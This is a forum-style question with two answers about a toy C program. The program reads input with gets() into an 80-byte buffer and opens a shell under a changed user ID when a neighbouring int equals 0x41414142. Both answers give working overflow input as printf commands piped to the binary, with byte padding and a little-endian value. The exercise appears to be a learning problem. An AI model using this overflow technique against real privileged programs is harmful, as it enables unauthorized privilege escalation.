Stack Smashing Short Problem

Question

I want to exploit this code vulnerability and get it to launch me into a shell with privilege access. I'm guessing I need to "push" bob from its current address to address 0x41414142 using the "gets" function. I can only use the command line in Linux. I cannot alter the program whatsoever. How can I achieve that? The system uses Little Endian byte order.

Here is the code:

#include <stdlib.h>

int main(){
  int bob;
  char alice[80];

  printf("alice is at %08x, bob is at %08x\n", &alice, &bob);
  printf("\nHelp alice and bob meet");
  gets(alice);

  if (bob==0x41414142){
    setresuid(504,504,504);
    system("/bin/sh");
  }
}

Answer 1

The Alice and Bob variables are on the stack. Depending on how the compiler arranges them, input longer than 80 bytes will overflow the Alice buffer, and could change the value of Bob. Spamming a large number of 0x41414142 (escaped, of course) should be sufficient to overwrite Bob.

E.g.:

$ printf "\x42\x41\x41\x41" {1..50} | ./program

Answer 2

I want to exploit this code vulnerability and get it to launch me into a shell with privilege access. I'm guessing I need to "push" bob from its current address to address 0x41414142 using the "gets" function.

No, this is wrong. By examining the code it is clear that you want to set the value of the bob variable to 0x41414142. You don't want to set the address of bob to 0x41414142. (Note: Normally you'd be interested in addresses, but seems to be a baby/warmup/homework problem, not a realistic stack smashing problem.)

I can only use the command line in Linux. I cannot alter the program whatsoever. How can I achieve that?

Use the printed out values of the alice address and the bob address to see how much you need to overflow the alice array. For example, on cygwin64, when I compile this code, alice and bob are separated by 92 bytes.

Therefore I use the command

$ printf "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCBAAA" |./a.exe

where there are 92 "C" characters (could be any single byte character) and BAAA is 0x41414142 on a little-endian system, since "B" is 0x42 and "A" is 0x41.